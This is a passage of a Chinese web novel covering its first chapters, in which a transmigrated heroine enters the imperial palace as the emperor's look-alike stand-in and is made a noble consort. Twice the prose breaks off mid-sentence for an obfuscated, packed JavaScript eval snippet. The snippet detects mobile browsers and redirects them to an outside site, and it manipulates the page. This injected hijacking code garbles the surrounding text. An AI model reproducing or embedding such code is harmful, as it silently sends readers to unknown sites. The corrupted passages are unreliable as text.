《在古代当替身女配》 1. 第 1 章 青山绿水间,一排排青布马车行驶在官道上,最前面,几位穿着红衣锦袍,腰上别着大刀的人骑着马,护送着一行人。 最末尾的马车上,佩玖掀开帘子,向外面探看去,她说:“这就是天子脚下了,再走一段路就能到京师,从前这里的匪盗最猖獗,过路的高门世家都能被揭一层皮。” 马车内一片安静,无人应声。 佩玖已经习惯了,回头看向支着脸颊倚坐着的美人,眼皮半阖,鸦羽般的睫毛在眼下扫出一片阴影。 明明她只是粗布麻衣,梳着最简单的平髻,身上也没有佩戴玉石环佩,脸上未施粉黛,却还是能美得让人一愣。 只觉简陋的马车里也熠熠生辉。 怪不得人家是被献给皇上的美人,她则只是个伺候人的丫鬟。 美人名唤戚妤,原是个乡野之人,却被采选的公公一眼相中,富贵尊荣,金玉满堂诱说着,才终使美人点了头。 而佩玖,作为曾在京师高门当过丫鬟的资历,能识字会念文,被特意点到了戚妤身边侍奉。 他们这几辆马车上,都是李昌李公公命人从各地采选,预备献给皇上的美人。 说起当今天子,那是三天三夜也说不完,佩玖九岁离开京师,彼时的京师已经是人间炼狱,即便是皇宫,也宫门大开,任由杀进京师的反王带着他手下的匪兵烧杀抢掠。 同年九月,七皇子率兵入京擒杀反王,顺利称帝。 第二年,新帝出京镇压各地叛乱,最终战火止,收戈回京。 如今佩玖都十四岁了,皇帝也稳坐了五年帝位,前两年忙于平乱,后两年却也幽居深宫,不近女色。 也怪不得从小侍奉皇上的李昌公公会心急火燎地暗中张罗了。 只可惜,带队的小李公公最中意的美人是个木头,十句话里有九句话都不应声,她这样,谁能喜欢?只怕到手的荣华富贵都跟着跑了,那才是最为扼腕的。 佩玖贴身跟着戚妤,发现她对其他美人无论是捻酸嫉妒、贬低嘲讽,还是姐妹相称、互相帮扶的话都无动于衷。 甚至还有点呆,其他美人长篇大论的拉近关系,戚妤只用懵然的眼神看着她,就引得旁人拂袖而去。 因此大家都知道戚妤的脑袋不灵光,渐渐地,小李公公似也看了出来,默认旁人将戚妤的马车挪到最后。 一个时辰后,马车驶入京师,停到宫门口,骑马带刀的公公下马,与宫门口候着的两名公公做交接,美人们也纷纷踩着小凳下了马车,三三两两聚在一起。 唯独戚妤孤零零带着佩玖。 佩玖脸上浮起尴尬,默默垂首。 戚妤却没有任何不自在,反倒分出心神,打量起拔地而起的宫门,宫门两端,是宽阔的角楼,上面站着巡防的士兵,穿着黑色甲胄,暗红衣衫。 小李公公让美人们排成一列,顺次进入皇宫。 打头的美人名叫周妙茵,她出身富商,穿着一身大红曲裾,腰上挂着有手掌大的圆玉,头上簪着金簪,相貌明媚,脖颈修长,自信飞扬抬脚往前走去。 这一路上,周妙茵靠着广撒银子,与美人们结下了大把善缘。 如今她走在最前面,有不服气的,也被身边的人暗暗拉住,毕竟拿人手软,谁没受贿过周妙茵呢,便是小李公公也不能免俗。 当然,有一人是例外的,拉住姐妹的美人悄然朝最后面看去。 戚妤自然是坠在队伍末尾。 被选为进献给皇上的女子,公公会给一百两黄金,就算没被皇上选中,也不要紧,只是遣返旧里罢了。 但她们的衣裳首饰公公却不会提供,需要自己准备,不过有一百两黄金在,她们也不会犯难。 因此,在场的美人皆极尽娇妍,姝丽争春,从头到脚无一不美。 其中戚妤只穿着最简单的衣裳,那一百两黄金被她换成了银票压在马车上她的匣子底部。 佩玖对此没说过一句不好。 极致的美人,披个麻袋都好看。 而戚妤,恰属于这种美人。 她们通过宫门,在宫道上慢慢行走。 忽然,宫道的另一头出现一行抬着一个四角垂纱的轿辇,轿辇上隐隐约约能看出坐着一名女子,周围随侍着一名年纪稍长的姑姑,一名十几岁的丫鬟,与数名宫娥。 其中,丫鬟的打扮能看出并不是宫里的宫人。 那名姑姑则看着威严许多,但面对轿辇上的女子,也会带上慈笑。 领队的公公高声道:“停——” 美人们止步,跟着公公退至一侧,低下头,目不斜视。 在轿辇经过戚妤面前时,戚妤悄然抬头,望向轿辇内,清晰看到了女子的相貌。 与她一模一样。 轿辇中小憩的赵婉仪察觉到一丝说不清道不明的视线,睁开眼,扶着横柱回头看去,轿辇往前走,那人也转过身,她只看到一抹穿着藕白色,青丝被发带扎起,长发及腰的背影。 赵婉仪看向一旁的姑姑,带着好奇问道:“芳姿姑姑,那些是什么人?” 芳姿姑姑道:“裴夫人,那是李昌从大燕各地选上来进献给皇上的美人。可李昌做了那么多次,皇上却一个都没留,这次估计也是一场空。” 赵婉仪轻捻指尖,哦了一声。 贴身丫鬟月鹭骤然出声,俏皮道:“姑娘不必在意这些,您独得太后青睐,皇上也对姑娘青眼有加,她们不过是一时的过路人,哪有福气入姑娘的眼。” 即便自家姑娘已于五月前与裴谨裴大人成亲,成了裴夫人。 但月鹭自小伺候赵婉仪,称呼到现在都没改过来。 芳姿姑姑不在意月鹭的插嘴,觉得她是小孩心性,闻言亦是含笑。 毕竟月鹭说的不错,满京城的贵妇都没有一个裴夫人尊贵。 裴大人的父亲曾是陛下的老师,当初陛下还是七皇子时被放出京,裴大人毅然跟随,甘愿当陛下身边的一名普通幕僚。 如今七皇子已成九五之尊,自然没有薄待跟随他的,有从龙之功的几人,其中今上与裴谨裴大人最为亲厚。 而赵婉仪自幼与裴谨订了亲,一年前入京与裴谨培养感情后完婚,成了裴夫人。 不仅能自由出入宫廷,在陛下面前也是有几分薄面的。 方才在太后处,陛下一到,裴夫人不过才依着规矩行了半礼,陛下就将人扶了起来。 由此可见圣眷正浓。 赵婉仪淡淡瞥了月鹭一眼,再没了说话的兴致。 另一边。 戚妤没想到进入皇宫的第一日就遇见了女主。 没错,女主,她穿书了,还携带着一个简易版的系统,只要走完剧情就能将她送回去。 穿书后的她很悲催的落到了荒郊野岭,等找到乡镇时,便碰上了小李公公往宫里采选美人。 小李公公看了她良久,又好言相劝许久,不在乎她无父无母,出身乡野,硬是给她安了个良家子的身份,将她顺利带到京城。 戚妤不拿自己的银子打扮,纯粹是因为她知道她一定会被皇上选中。 这是一本强取豪夺的小说,男主乌时晏恋慕好兄弟的青梅,起初,乌时晏作为冷心冷情的皇帝并没有认清自己的内心,只以为对女主是小辈的宽佑,然而眼睁睁看着心上人嫁为他人妇,与所倚重的爱卿亲密无间的相依,这才明白了自己的心意。 皇上喜欢臣妇这件事,皇上身边的大太监知,太后知,公主知,但他们为了皇上的名声,只得死死瞒住,暗中给皇上找机会。 毕竟皇上无子,可是关系江山社稷的大事。 在自身利益与皇权高度绑定的情况下,无论皇上看上的是谁,他们都会想方设法促成。 不怕皇上不动情,就怕皇上清心寡欲到将整个江山送给宗室子。 届时,他们这些太监说话就不好使了。 小李公公是李昌公公重用的自己人,近两次采选他都一眼一板依照着裴夫人的模样来选。 不过这次,有了戚妤,小李公公将其他相似的人的名册全划去了,相似的人一多,他们的心思不就昭然若揭了? 小李公公回头看向美人们,视线落到戚妤身上,数十个美人,他唯一看好的只有戚妤。 众美人走过宫道后,被引到一处偏殿静候, 偏殿的宫娥一问三不知,周妙茵悄悄给宫娥塞了银子,问她们何时才能面见皇上,宫娥将银子收下,仍低着头什么也不说。 美人们见此不由失望,周妙茵的语气带上了气急败坏。 恶狠狠瞪了一眼宫娥。 戚妤看了一圈偏殿,发现正东边用几层帐幔做帘子隔开了偏殿,帘子还是放下的,便不在意地扭过头,去找水喝。 戚妤的五感不错,看的远听的细,因此她不喜吵嚷,慢慢就容易忽视一些事,常让人觉得高傲迟钝。 因原剧情中,她就是作为替身放在乌时晏身边,十足的工具人属性,这些缺点作为女配也算不得什么了。 不容易横生波折。 戚妤听到帐帘后两道低声说话的声音。 其中一道正是已经离开的小李公公。 他态度谦卑,不一会儿,另一个人许是也满意,赞赏了小李一句。 紧接着,两人便离开了帐帘后。 戚妤这才往帐幔隔开的方向看去,她静静喝完水,将水杯放下,便往那个方向走去,很明显,帘子后还有空间。 另一边,周妙茵与一美人低声争执起来,周妙茵气愤地跺着脚,绣鞋上的珍珠闪着漂亮的光泽。 戚妤被晃了一下眼,微微分神后再次将目光移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127927|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到放下的帘子上。 她的目光似能透过帐帘,直看到里面。 戚妤伸出手,刚碰到帘子,就见一只修长漂亮,骨节如玉的手从里面掀开了帘子。 他手上的青筋淡淡,指甲圆润,明明像是养尊处优许久的男子,手指上却带着去不掉的疤痕。 戚妤微微仰头。 帘子半掀,里面站着人也显露了出来。 是个身形高大,却有些削瘦的男子,一双眼睛阴鸷沉郁,似飞鹰紧紧锁定游鱼,目光落到戚妤脸上不曾有移开的痕迹。 偏殿内的众人见到男子绣有龙纹的玄色长袍,又见宫娥下跪请安,纷纷跟随,云云呼皇上。 又有美人的手抚上发髻腰饰,悄悄整理着。 戚妤想,许是方才周妙茵的动静,她才没听到帘子后的脚步声,不知道自小李公公离开后,又有人来到了帘子后。 一天之内,她不仅见到了女主,还见到了男主。 戚妤低头,想先行礼,却被方才瞧的仔细的手托起了下巴。 她目光稳稳往下看去,没有直视圣颜,任由对方打量。 他问:“她是谁?” 后赶来的小李公公话中带着喜意:“此女名唤戚妤,河东郡人,良家子,父母世代种田为生,只可惜双双没有福气,早亡,奴才找到戚姑娘时,她寄居在舅母家。” 捏出来的家世小李公公在最初就跟戚妤对过不下十遍,为的就是不与赵婉仪的赵家攀上丁点关系。 若戚妤有半点是赵婉仪姊妹的可能,那皇上是留还是不留,是不是还得将人送回到裴夫人身边,博裴夫人一笑? 那他们大费周章将戚妤带到皇上面前可就白费了一番功夫。 他们料定戚妤也会跟着隐瞒,毕竟都走到这一步了,谁不渴望帝王家的荣华富贵? 戚妤确实不会戳破此事,她是突然出现在河东郡,十八岁之前一片空白,有人给她一个挑不出错的身份,她高兴还来不及。 原书中,“她”就是作为女主的替身,被男主养到宫里,等时机成熟,将“她”与女主身份互换,“她”则顺理成章病逝在裴府。 这是戚妤要完成的剧情。 而她的系统,是个只能识别任务进度,等到任务进度一满,才会将她送回去的小废物。 除此之外,其他功能一概没有。 这一路上,戚妤看似在分神,实则给系统写了一篇又一篇投诉信。 现如今,她已经勉强接受现实,毕竟原书中替身没遭一丝罪,在宫中是宠妃,被换到裴府,还得了一个温润如玉的夫君,只可惜为了避免在枕边人面前暴露,非得病逝假死不可了。 假死的替身女配拿着这些年积攒的财富,成了隐形富商,衣食无忧游历天下,只除了没在京城出现过,但在番外中还冒了次头,证明活的好好的。 乌时晏收回了手,留下一句:“将她留宫,封妃。” 便准备拂袖离去,那样子,其他人也像是不用看了。 其他美人见此哪坐得住,离周妙茵最近的美人拽了拽周妙茵的袖子,周妙茵脑子一热,声音娇的直想让人软了心肠,她柔柔地唤了一声:“皇上。” 小李公公早收了周妙茵的银子,戚妤对此心知肚明,而周妙茵也铁了心想进宫。 相处的这么些日子,虽然戚妤鲜少开口,但对这些美人还是有些了解。 周妙茵虽是商贾之女,但家中庶子当道,若周妙茵此番无功而返,就要草草嫁个比她大二三十岁的当地官员。 所以明知皇上不近女色,她仍要试试留在宫中。 小李公公道:“皇上,若只戚姑娘一人……那里恐不好交代。” 只留这么一个相似的人在宫里,明显醉翁之意不在酒。 乌时晏离开的脚步蓦地一停,他自然知道小李子指的是谁,眉梢微拢,随手指了几个人:“她们也留下,其余事李昌来操办。” 几个人中周妙茵赫然在列,她面露惊喜,虽然不知道皇上和小李公公在说什么,但能留下就是好的。 一路上她撒的银子,几乎是孤注一掷要留在宫里,已经断了回去的路。 一时间,周妙茵看戚妤都顺眼了不少。 但从方才的话中不难判断出,戚妤一枝独秀,初封便是妃位,她们是怎么都赶不上的。 周妙茵眼神不由复杂起来。 乌时晏抬步离开,戚妤不期然与小李公公的视线撞上。 小李公公一路上审视的目光在此时已经转变为恭敬谨慎。 他连忙走近,笑脸相迎道:“姑娘可唤奴才小李子,一路上有哪里得罪过姑娘的,还烦请姑娘大人不记小人过,轻抬手放奴才一马。” 戚妤漫不经心移开视线,脸上一丝笑意也无。 摆明了不好相与。 2. 第 2 章 小李子仍是笑着的模样,是他们送进宫的人,无论如何也翻不出他们的五指山。 因此他并不怕戚妤的脾气,这也是李昌公公赋予他的底气。 未被选中的美人失落不已,很快离开了偏殿。 殿内只剩戚妤、周妙茵与两位美人,分别叫吕舒和邓月槐。 吕舒和邓月槐对这个结果也是喜的,她们都是小户人家的姑娘,进了宫,吃穿不愁不说,还不用干活,自然是乐意留下。 吕舒便是方才拉周妙茵袖子的人,与周妙茵关系颇好,周妙茵也照拂吕舒,大概是她走第一个位置,就让吕舒走第二个位置。 而邓月槐则是与周妙茵争执的人,邓月槐是个急脾气,方才吕舒挡了邓月槐,邓月槐自然拉着吕舒不服。 周妙茵为吕舒出头,就与邓月槐对上了。 三人都有一副好相貌,周妙茵自信明媚,吕舒楚楚动人,邓月槐娇蛮可爱。 戚妤看着三人,想着,四个人也够凑一桌麻将了。 大燕没有麻将,但图纸简单,她可以画出来,再交给工匠做出来。 四人在偏殿没呆多久,就出现了几名宫娥与一位人人都畏他敬他几分的宦官。 此人正是李昌。 面白无须,目光精明,但五官神态看着和善极了。 李昌公公道:“周美人,吕美人,邓美人,请三位美人随宫娥去往披香殿。” 戚妤抬眼,听出来这是方才与小李子在帐帘后说话的人。 而后他又离开去请来了乌时晏。 只怕那帐帘从里面看,能清晰看到偏殿内众人的模样。 所以她准备掀开帘子的时候,乌时晏就看了她有一会儿了,直至她有动作,这才先一步掀开帘子。 周妙茵不明白了:“为何叫我们美人?” 李昌笑道:“这是皇上刚封的位份,三位美人到了披香殿,自有宣旨的太监来宣旨,奴才在这里先贺喜三位美人了。” 邓月槐忙道不敢当,视线转到戚妤身上:“公公,不知戚妤初封的位份是?” 李昌眼皮抬也没抬:“邓美人方才没留心皇上说的话吗?戚姑娘自然初封便是妃。” 妃与美人,中间隔的可是天堑。 邓月槐的脸色有些不好看,周妙茵与吕舒也止了笑意,不明白陛下为何只看上了一位木头美人。 还是个得势便张狂的,连小李公公都不放在眼里。 李昌说完这句,又看向戚妤,转眼便和气了起来:“戚姑娘,陛下如今在温室殿,要您过去伴驾,您看?” 戚妤道:“请公公引路。” 李昌道了声请,便领着戚妤往温室殿走。 一路上,李昌也介绍了温室殿,历来是皇帝冬季取暖的寝宫,不过陛下身体畏寒,所以现在也没挪出温室殿。 他们经过花园,戚妤看了眼开的正粉的桃树,对乌时晏的畏寒有了更深的认识。 李昌有意与戚妤保持友好的关系,便透露了些信息,他道:“陛下一年到头有九个月都是在温室殿中度过,手炉暖炉常伴身侧,陛下不喜浓香与血腥味,姑娘即便受伤了也万万不要在陛下面前显露。” 戚妤倾耳听着,点了点头。 忽地,李昌冷不防转了话题:“这一路上,小李子得罪过姑娘。” 他的语气很肯定。 戚妤瞧了他一眼,试探地告状:“只是不喜他要我入宫,路上却觉得我不好将我撇开,如今我刚得了陛下的青眼,他巴巴的上前又是请罪,又是让我大人有大量,却分文不出,小气的很。” “小李公公很有倚仗般的,可这只会叫我有些嫌恶。” “但我看李公公倒亲切的很,缘何最初遇见的不是李公公呢?” 隔了戚妤两个宫娥后的小李子,三月的天却汗水直下,他哪能想到初入宫的戚妤不说讨好他们这些宦官吧,居然当着李公公的面结结实实告了他一状。 更别提这一路上他可收了不少贿赂,根据银子将那些美人们的马车往前挪,以至于冷待了戚妤。 这厢李昌已经冷了脸,他不过是看小李子与他姓氏相同,又有造化到他面前,才想要提拔他。 没想到他一得罪就得罪了个大的。 虽然不知道戚妤会走到哪一步,但凭着她与裴夫人相似的相貌,只要不作妖,怎么着都会平安顺遂一辈子。 李昌不清楚陛下留下戚妤想做什么,但他知道,戚妤是陛下最重要的一枚棋子,损了谁都不能损了她的。 焉知戚妤未来不会成为宫内的一座大佛。 可小李子却上赶着得罪她。 李昌压下心中对小李子的不爽,奉承道:“奴才也觉得您很亲切,跟那观音菩萨似的,跟您说话,奴才顿觉神清气定。” 戚妤浅笑,心里默默将李昌与小李子分出高下,小李子的道行远不如李昌深。 李昌刚还愤怒着,可忽然逢迎起她也不见丝毫怪异。 最重要的是,李昌看得清局势。 都已经见过皇上了,小李子仍觉得能拿捏的了她,不肖她出手,李昌就能让小李子认清早已今时不同往日。 虽是他们将她送进了宫,但为了日后的安稳日子,戚妤可不想被宦官掌控。 不过,戚妤自然也不想与李昌交恶,他们最好是默契的合作关系。 于是她道:“公公抬举我了,我在宫内人生地不熟,若有事,还得麻烦公公。” 李昌声音放柔:“能帮上姑娘,是奴才的福气。” 戚妤看向他,眼中的笑意加深。 望着这双眼睛,李昌有一瞬的失神,心道怪不得皇上要留戚妤,实在是戚妤的这双眼睛都与裴夫人十分相似。 裴夫人是个心善的,对他们这些宦官奴才也面无厉色,常和气的笑着。 不过戚妤的眼神又与裴夫人有些不同。 之前没有对比感触不明显,李昌此时才觉察出,戚妤眼底是散漫的,裴夫人则带着一层悲怆。 李昌摇了摇头,觉得自己是魔怔了,怎么会这么想呢。 赵婉仪是高门贵女,与夫君琴瑟和鸣,太后庇护,陛下偏袒。 苦到谁都不能苦到裴夫人身上。 很快,李昌便领着戚妤到了温室殿。 李昌道:“陛下只让姑娘进去,奴才们在殿外候着就成。您这位丫鬟是从宫外带进来的,没有学过宫里的规矩,不如奴才请宫里的姑姑调|教些日子,等宫规礼仪都熟知了再给您送回来?” 戚妤:“她叫佩玖,劳烦您了。” “奴才知道了,陛下不宜等人,姑娘快些进去吧。” 戚妤面向殿门,神色自若推开门踏了进去。 一进入温室殿,一股热浪扑面而来。 已是三月中旬,殿内居然还在烧炭。 温室殿俨然一副寝宫模样,戚妤看到好几个手炉随处放置,似乎是主人走到哪儿换到哪儿,手上这个不暖了就取宫人装好碳的。 随性的很,也畏寒的紧。 而戚妤不过进入殿内片刻,乌时晏的影子都没见到,额头上已经冒了一层薄薄的热汗。 交领半遮下的锁骨有了光泽感,鼻尖脸颊红润润的,眼眸倒清澈如水。 戚妤找到乌时晏时,他正坐在榻上,身上披着一件厚厚的狐裘,狐皮是白色的,照得他眼底明亮了许多,也不像方才在那个偏殿那样沉郁。 苍白的脸上也有了血色。 戚妤心中不由泛起疑惑,乌时晏可是举兵平定天下的枭雄,怎就畏寒到这种地步。 戚妤的念头只起了一瞬,因为她见到乌时晏,浅浅的打量过后便是下跪行礼。 但她对宫中的礼仪一窍不通,刚跪在毯子上就卡壳了。 良久,她埋头轻声道:“陛下?” 殿内长长的沉默过后,乌时晏出声:“以后你见朕……不必再跪。” 乌时晏这句话大概是想对赵婉仪说的,但君与臣妇的关系,导致两人甚至说不上几句话。 因此才对她这样说。 果然,乌时晏的下一句话就是:“罢了。” 不知是要收回上一句话还是什么意思,戚妤眨了眨眼,应声:“诺。” 只当没听见那句罢了。 她不想跪来跪去。 戚妤起身,双手交叠在身前,安静地当个花瓶。 乌时晏起先并不看她,视线落到手上握着的书上,只是书脊都被他握皱了,也不见翻页。 可见找替身于他内心也不平静。 戚妤脸上的汗珠从脸颊流下,滑到下巴处,她感觉着这滴汗,几乎要忍不住拿手试掉时,乌时晏出声了。 他又问了一遍方才在偏殿问过的问题:“你家住何方,家中有几口人?” 戚妤一一答了。 “抬头,看朕。” 戚妤看向乌时晏,她的眼睛润的发亮,对上乌时晏漆黑的眼珠,更显得无辜了。 乌时晏声音不高不低,气息平稳,却格外有压迫感:“朕最恨人骗朕。” 戚妤一眨不眨:“不敢有丝毫欺瞒。” 乌时晏勉强信了,他垂眸,将书放下,拿起手炉:“过来。” 他往御案的地方走去。 戚妤落在他后面跟上,用袖子抹去滑落的汗珠,并拿手帕按了按额头两侧,总算觉得清爽了一点。 她将帕子团进袖子里,见乌时晏已经站在桌案后,连忙凑近。 只见桌子上铺着几张白纸,每一张白纸都落有一古字。 横是横,竖是竖,戚妤辨认的艰难。 乌时晏道:“这是少府呈上来的封号,挑一个。” 戚妤语气沮丧:“……我不认字。” 乌时晏看向低着头紧紧盯着这几个字的戚妤,不由一顿。 对她的来历信了一分,乡野之中确实识字者甚少。 戚妤打着商量道:“我名唤戚妤,不如选一个yu字做封号?” 乌时晏将一张纸拿起来递给戚妤:“瑜,美玉也。” 戚妤接过,看了好几眼,唇角翘起:“我喜欢这个。” 她双手拿纸,宝贝地压到衣襟前,面带笑意,眼眸狡黠,像一只机灵且油光水滑的小狐狸。 戚妤歪头,扮作可爱道:“陛下只见了我一面便什么都允了,我心中自然万分欢喜,可我若告诉陛下,比起妃,我更喜欢贵妃之位,陛下允不允?” 乌时晏看向她,没看到她对他的爱慕之意,只看到了眼底的贪婪之色。 是个连伪装都显得敷衍的女子。 乌时晏清晰认识到,她绝无顶替赵婉仪伴在他身边,让他沉溺一时半刻的可能,因为他只要看见她,就知道她只会是戚妤,而不是赵婉仪。 两人不可相互替代。 见乌时晏不说话,戚妤不悦地翘了翘唇:“不允就不允吧。” 原书中替身自然是妃位,直至两人相换,乌时晏才大张旗鼓封后。 后面的剧情她就不知道了,因为她拿到的只有女配剧情,清晰明了,简单易走。 只是前有小李子,后有乌时晏捉摸不定的态度,戚妤就算当工具人,也不想太过憋屈。 妃位知内情的人只会觉得乌时晏是看在裴夫人的面子上,可是贵妃就不一样了,这是她改变了乌时晏的决定,争取到的。 戚妤眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127928|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睫湿漉漉的,是被热的,但此时看着却有些可怜。 乌时晏心知他只会给戚妤表面的恩宠,有宠无爱。 眼见着戚妤失落起来,他缓缓道:“好。” 戚妤抬头,眼眸一点点点亮,愉悦地笑起来:“多谢陛下!” 戚妤的寝宫名为昭阳殿,她在温室殿呆不了多久,就如落水的小狗一样,好不凄惨,乌时晏让李昌将她带去昭阳殿。 路上,李昌将昭阳殿夸的天花乱坠,连住昭阳殿的戚妤也变成极得陛下看重。 戚妤浅笑着:“陛下是个好人。” 好人? 李昌的面色古怪了一瞬,接着笑起来。 直至到了昭阳殿,短短半日,昭阳殿的宫娥就选好了,宣旨的公公在他们后脚也到了,身后跟着捧有金银玉器的小太监。 戚妤接旨。 李昌默默听着。 前面一切如常,夸赞戚妤庄敬聪慧,勤勉柔顺,性行温良,淑德含章,之后便是着晋封为瑜贵妃。 听到贵妃二字,李昌倏地抬眼,看向戚妤。 戚妤仍是垂眸的样子,但对圣旨并不意外。 听完后便抬手接过圣旨:“臣妾接旨。” 宣旨公公贺喜道:“瑜贵妃娘娘圣安,在陛下的后宫中您的殊荣还是独一份。” 陛下后宫空置,却在今天封了一人为贵妃,可不是独一份吗? 要知道,最初拟旨的时候只是妃位,但这位去了一趟温室殿,便由妃变为了贵妃。 独一份还是说轻巧了。 戚妤身边的一名姑姑将戚妤扶起来,并给宣旨公公塞了赏银。 戚妤面带笑意,有些羞涩:“劳公公跑这一趟。” “应该的应该的。” 戚妤目送宣旨公公离开,再一回头,李昌已经笑成了菊花。 “小李子这个不懂事的,奴才回去就教训他。” 戚妤颔首:“为着本宫这些事麻烦公公了。” 李昌道:“不麻烦,能让娘娘满意,便是奴才应该做的。” 他甚至生怕这位瑜贵妃有用不到他的地方。 在宫里,尤其是当宦官,落下一步,就成了别人的垫脚石。 戚妤让身边的姑姑亲自将李昌送走。 这位姑姑看着便在宫中资历深厚,送李昌也不算轻视了他。 等看不到两人的背影,她才欣赏起送到昭阳殿的绫罗绸缎,金银珠宝。 确切的说,这些是封贵妃的赏赐。 戚妤环顾昭阳殿,昭阳殿很大,却不显的空旷,每一个地方都放着合适的画作瓷器装饰,殿中央的上首,放着一把宝座,下面则分左右放着案几与坐垫。 没一会儿,那名姑姑便回来了。 她道:“娘娘,奴婢名叫锦榕,是昭阳殿的姑姑,掌管着昭阳殿上下一切事物,娘娘可要先去沐浴更衣?汤池与衣裳都已经准备好了。” 戚妤皱了皱鼻子:“就依姑姑所言。” 她是不想再穿着这身衣裳了,去了一趟温室殿,一身汗气,虽然不臭,低头还能嗅出女子馨香,但她就是觉得不干净。 锦榕说的恰合她意。 在去殿深处的汤池时,戚妤对锦榕说:“我初来乍到,方才给宣旨公公的赏银如果是姑姑自掏腰包,我一定双倍补上。” 锦榕听着这傻气的话,不由失笑:“昭阳殿有库房,库房中也有银子,奴婢取的是库房中的银子。昭阳殿是娘娘的居所,库房自然也是娘娘的,娘娘不需要补。” 戚妤一乐,仍是道:“那我也要赏姑姑一遍。” “奴婢谢过娘娘。不过娘娘应该自称本宫。” 戚妤拉长语调:“好吧。” “但是本宫就是觉得姑姑很亲切,像姐姐一样。” 锦榕的年纪已经能将戚妤当女儿了,闻言不禁笑了起来,瑜贵妃娘娘可真是有趣俏皮。 戚妤到汤池才发现,池底池壁,甚至连下池的阶梯都是玉做的,池壁凿出一个口,将热腾腾的水引到池中。 不过她想起佩玖说过,皇室当初发家就是祖上发现了大批玉,暴富后买兵买马开始打天下,只是没想到竟奢侈到沐浴的池子都是用玉铺的。 锦榕让宫娥上前服侍戚妤沐浴,在一旁解释道:“这汤池的水是温泉水,里面的花瓣也是宫娥在殿外的花园采的,娘娘放心泡。” 戚妤已经进了池子,宫娥慢慢用水将她的头发打湿。 她什么也不用干,只用等着漂亮宫娥服侍她,有人给她洗身,有人给她喂糕点茶水。 甚至因为太舒服,她还趴在池子边睡了一觉。 被宫娥唤醒的戚妤,在心中连连道这个皇宫来对了。 刚穿越时,戚妤自然对走剧情有抵触,但架不住从山里跑出来就遇见了小李子,于是顺水推舟和他来到京城,进了皇宫。 踏进皇宫,戚妤不觉得有什么,面见皇上,她也不觉得龙威难测,但是仅仅沐浴这一道程序,就将戚妤彻底折服了。 戚妤从汤池中出来,立刻有人拿寝衣给她穿上,扶她坐下帮她擦发,直至头发擦干,这才带她去换上新衣。 那是一件朱红衣裳,宽袖窄身的直裾样式。 若说只穿一身藕白色的粗布麻衣的戚妤就美的惊人,换上朱红衣裳的戚妤整个人美的不可方物,更衬她的肤白,亦平添了三分妩媚,让人看的移不开眼。 锦榕姑姑道:“娘娘没有描眉就这样美了,上了妆不知道要增色多少。” 戚妤含情嗔了锦榕姑姑一眼,宫娥们俱笑了起来。 有两个手巧的上前为她挽发,其他人去捧来金玉钗环,宝石腰饰,供她挑选。 3. 第 3 章 宫娥给戚妤穿好腰封,戚妤随手指了一腰饰。 佩戴完毕后,锦榕姑姑问:“娘娘可要逛一逛昭阳殿?” 戚妤拉着锦榕的手,摇头:“这事不急,姑姑,你能跟本宫讲一讲李昌吗?” “他面和心细,本宫觉得他和其他人没什么区别,但进宫前小李子提起李昌总是很慎重,这里面可有什么缘故?” 锦榕想了想,道:“小李子不过是满宫最普通的小太监,李昌公公则是陛下面前的红人,陛下不常出面的事大都交由他来办。除此之外,李昌还是陛下生母的人,在陛下还是皇子时便跟着伺候了,当年陛下离宫去封地,也将李昌给带走了,可见陛下对他的信任。李昌的态度,一定程度上在这后宫就代表陛下的态度。” “陛下的生母?”戚妤疑惑出声。 锦榕姑姑叹道:“娘娘年纪小,又未在京城呆过,许是不知道如今的太后并非陛下的亲母,而是陛下镇压反王时宫里唯一活下来的先皇妃子,因为陛下的生母圣母皇太后曾受惠于这名妃子,陛下登基后就扶她为太后,也就是现在的太后娘娘。” “娘娘被封贵妃,明日也需去面见太后娘娘。” 戚妤便顺着问:“姑姑,太后娘娘是个什么样的人?” “太后娘娘啊。”锦榕沉吟了一会儿道,“是个面慈心善的人,娘娘不必怕,太后娘娘脾气很好,之前后宫无主,太后娘娘嫌闷,只能唤裴大人的夫人进宫相陪,也从未传出过太后不虞的事,想必娘娘去了,太后也喜欢的很。” 戚妤只是笑了笑。 太后这哪是嫌闷,分明是给皇帝创造机会。 太后不是皇上生母,不管是为着未来皇孙是她名义上的孙子,还是顺皇上的意,让自己的太后之位更加稳固,她对皇上喜欢臣妇这件事的想法只会与李昌不谋而合。 戚妤又缠着锦榕讲了许多。 因此知道了太后姓冯,冯太后的父亲原本只是个县令,但女儿成为太后,冯家自然被一路提拔,只是皇帝登基不久,冯父再怎么升如今也仍是在地方任职。 冯太后能躲过当年那场祸事,多亏了她宫里的暗道,虽是死路,但躲在里面好歹等到了乌时晏带兵打回来。 “昭阳殿有这种暗道吗?”戚妤看向殿内。 锦榕姑姑顿觉好笑:“昭阳殿没有,奴婢们在昭阳殿呆着也觉得好奇,查找了一番并未找到。” 说起昭阳殿,便又引出一桩旧事,锦榕道:“这昭阳殿还是圣母太后的居所,圣母太后是妃子时曾在这里住过一段时间,后被封皇后,这才搬去了椒房殿,自此昭阳殿便空置了。” 戚妤拉锦榕坐在榻上,锦榕推拒了,大抵知道戚妤对什么都好奇,便继续说:“圣母皇太后的年龄比先皇小上许多,先皇的子嗣众多,陛下在先皇的皇子中排序七。只可惜圣母皇太后成为皇后不久,就突发急症仙逝了,后面七皇子也离了京。” 